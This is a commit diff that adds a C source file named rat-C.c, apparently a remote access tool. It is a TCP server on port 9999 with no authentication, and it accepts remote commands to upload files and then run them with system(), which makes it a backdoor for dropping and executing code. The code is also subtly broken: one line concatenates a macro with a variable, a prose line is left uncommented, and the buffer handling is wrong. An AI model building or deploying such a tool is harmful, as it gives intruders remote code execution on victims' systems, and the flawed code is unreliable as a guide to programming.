Update rat-C.c

Author: CPScript

oth/rat-C.c

@@ -1 +1,170 @@
-nothing here!
+//This code creates a TCP server that listens on port 9999 and accepts incoming connections. 
+//When a client connects, it creates a new thread to handle the client. 
+//The client can send commands to the server, such as "ping", "exit", "upload <file_name>", and "exec <file_name>". 
+//The server responds accordingly, uploading files to the "uploads/" directory and executing files in that directory.
+//
+// NOTE:
+//This code uses the POSIX socket API and the pthread library for threading. 
+//It also uses the system function to execute files, which can be a security risk if not used carefully. 
+//Additionally, this code does not handle errors as robustly as it could, and it does not implement any authentication or authorization mechanisms.
+
+
+Note that this code uses the POSIX socket API and the pthread library for threading. It also uses the system function to execute files, which can be a security risk if not used carefully. Additionally, this code does not handle errors as robustly as it could, and it does not implement any authentication or authorization mechanisms.
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+
+#define UPLOAD_DIR "uploads/"
+#define PORT 9999
+#define BUFFER_SIZE 1024
+
+void* handle_client(void* arg);
+void create_directory(const char* dir);
+
+int main() {
+    int server_fd, new_socket;
+    struct sockaddr_in address;
+    int opt = 1;
+    int addrlen = sizeof(address);
+    pthread_t thread;
+
+    // Create upload directory if it doesn't exist
+    create_directory(UPLOAD_DIR);
+
+    // Create socket
+    if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
+        perror("socket failed");
+        exit(EXIT_FAILURE);
+    }
+
+    // Set address and port number for the server
+    address.sin_family = AF_INET;
+    address.sin_addr.s_addr = INADDR_ANY;
+    address.sin_port = htons(PORT);
+
+    // Forcefully attaching socket to the port 9999
+    if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) {
+        perror("setsockopt");
+        exit(EXIT_FAILURE);
+    }
+
+    // Bind the socket to the address and port
+    if (bind(server_fd, (struct sockaddr*)&address, sizeof(address)) < 0) {
+        perror("bind failed");
+        exit(EXIT_FAILURE);
+    }
+
+    // Listen for incoming connections
+    if (listen(server_fd, 5) < 0) {
+        perror("listen");
+        exit(EXIT_FAILURE);
+    }
+
+    printf("Listening on port %d...\n", PORT);
+
+    while (1) {
+        // Accept incoming connection
+        if ((new_socket = accept(server_fd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0) {
+            perror("accept");
+            continue;
+        }
+
+        printf("Accepted connection from IP address %s and port %d...\n", inet_ntoa(address.sin_addr), ntohs(address.sin_port));
+
+        // Create a new thread to handle the client
+        pthread_create(&thread, NULL, handle_client, &new_socket);
+    }
+
+    return 0;
+}
+
+void* handle_client(void* arg) {
+    int new_socket = *((int*)arg);
+    char buffer[BUFFER_SIZE];
+    char command[BUFFER_SIZE];
+    char file_name[BUFFER_SIZE];
+    int file_size;
+    FILE* file;
+    int received;
+
+    while (1) {
+        // Receive command from client
+        recv(new_socket, command, BUFFER_SIZE, 0);
+        command[strcspn(command, "\n")] = 0; // Remove newline character
+
+        if (strcasecmp(command, "ping") == 0) {
+            send(new_socket, "Running", 7, 0);
+        }
+        else if (strcasecmp(command, "exit") == 0) {
+            break;
+        }
+        else if (strncmp(command, "upload ", 7) == 0) {
+            // Receive file size from client
+            recv(new_socket, buffer, BUFFER_SIZE, 0);
+            file_size = atoi(buffer);
+
+            // Send ready signal to client
+            send(new_socket, "Ready to receive file", 20, 0);
+
+            // Extract file name from command
+            strncpy(file_name, command + 7, BUFFER_SIZE - 7);
+            file_name[BUFFER_SIZE - 7] = 0; // Ensure null termination
+
+            // Create file
+            file = fopen(UPLOAD_DIR file_name, "wb");
+            if (file == NULL) {
+                perror("fopen");
+                continue;
+            }
+
+            received = 0;
+            while (received < file_size) {
+                // Receive file data from client
+                recv(new_socket, buffer, BUFFER_SIZE, 0);
+                fwrite(buffer, 1, strlen(buffer), file);
+                received += strlen(buffer);
+            }
+
+            fclose(file);
+            send(new_socket, "File uploaded", 12, 0);
+        }
+        else if (strncmp(command, "exec ", 5) == 0) {
+            // Extract file name from command
+            strncpy(file_name, command + 5, BUFFER_SIZE - 5);
+            file_name[BUFFER_SIZE - 5] = 0; // Ensure null termination
+
+            // Check if file exists
+            if (access(UPLOAD_DIR file_name, F_OK) != -1) {
+                // Execute file
+                char cmd[256];
+                sprintf(cmd, "%s%s", UPLOAD_DIR, file_name);
+                system(cmd);
+                send(new_socket, "Execution started", 15, 0);
+            }
+            else {
+                send(new_socket, "File not found", 13, 0);
+            }
+        }
+    }
+
+    close(new_socket);
+    return NULL;
+}
+
+void create_directory(const char* dir) {
+    if (mkdir(dir, 0777) == -1) {
+        if (errno != EEXIST) {
+            perror("mkdir");
+            exit(EXIT_FAILURE);
+        }
+    }
+}